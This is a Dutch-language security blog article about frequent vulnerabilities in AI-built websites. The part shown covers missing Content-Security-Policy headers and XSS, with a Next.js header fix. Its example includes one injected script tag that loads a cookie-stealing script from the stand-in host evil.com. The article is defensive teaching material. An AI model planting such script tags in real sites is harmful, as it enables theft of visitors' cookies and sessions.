AI-tools zoals Cursor, Lovable en V0 zijn fantastisch voor het snel bouwen van websites en applicaties. Maar bij het analyseren van duizenden AI-gebouwde sites zien we steeds dezelfde beveiligingsfouten terugkomen. In dit artikel bespreken we de 5 meest voorkomende kwetsbaarheden, met praktische voorbeelden en oplossingen.
1. Ontbrekende Content-Security-Policy (CSP) headers
Dit is veruit de meest voorkomende fout. Bijna geen enkele AI-gegenereerde site heeft een goede CSP-header geconfigureerd. Zonder CSP kan elke kwaadwillende partij externe scripts inladen op je site.
Wat gaat er mis?
Stel, een aanvaller vindt een manier om een stukje JavaScript in je pagina te injecteren (via een formulier, URL-parameter of database). Zonder CSP-header wordt dat script gewoon uitgevoerd in de browser van je bezoekers. Dit heet een Cross-Site Scripting (XSS) aanval.
Praktisch voorbeeld
// Zonder CSP - kwetsbaar
// Een aanvaller kan dit injecteren:
<script src="https://evil.com/steal-cookies.js"></script>
// Met CSP-header - geblokkeerd
// next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
}
]